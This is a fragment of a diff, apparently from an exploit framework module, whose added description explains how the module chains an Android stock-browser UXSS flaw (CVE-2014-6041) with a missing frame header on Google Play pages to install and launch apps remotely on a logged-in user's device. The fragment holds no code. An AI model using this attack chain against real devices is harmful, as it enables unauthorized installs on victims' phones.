| 17 | + This module combines two vulnerabilities to achieve remote code |
| 18 | + execution on affected Android devices. First, the module exploits |
| 19 | + CVE-2014-6041, a Universal Cross-Site Scripting (UXSS) vulnerability present in |
| 20 | + versions of Android's open source stock browser (the AOSP Browser) prior to |
| 21 | + 4.4. Second, the Google Play store's web interface fails to enforce a |
| 22 | + X-Frame-Options: DENY header (XFO) on some error pages, and therefore, can be |
| 23 | + targeted for script injection. As a result, this leads to remote code execution |
| 24 | + through Google Play's remote installation feature, as any application available |
| 25 | + on the Google Play store can be installed and launched on the user's device. |
| 26 | +
|
| 27 | + This module requires that the user is logged into Google with a vulnerable browser. |
| 28 | +
|
| 29 | + To list the activities in an APK, you can use `aapt dump badging /path/to/app.apk`. |
